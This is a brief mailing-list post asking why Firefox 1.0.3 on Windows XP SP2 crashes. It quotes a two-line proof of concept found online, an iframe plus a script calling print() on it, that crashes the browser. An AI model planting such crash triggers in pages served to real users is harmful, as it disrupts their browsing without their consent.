Firefox Crash??

[orebla Orebla <info@xxxxxxxxx>]

I have found this script in turn for the net and it sends to me in crash 
Firefox:

<!--PROOF OF CONCEPT
The vulnerability can be exploited with the following 2 lines of code:

<iframe id="pocframe" name="pocframe" src="about:blank"></iframe>
&lt;script type="text/javascript">window.frames.pocframe.print();&lt;/script&gt;
-->

I have WinXP SP2 e Firefox 1.0.3.

Why firefox crash???

PS: I do not have uncovered the vulnerability. Sorry for the English... 
:-)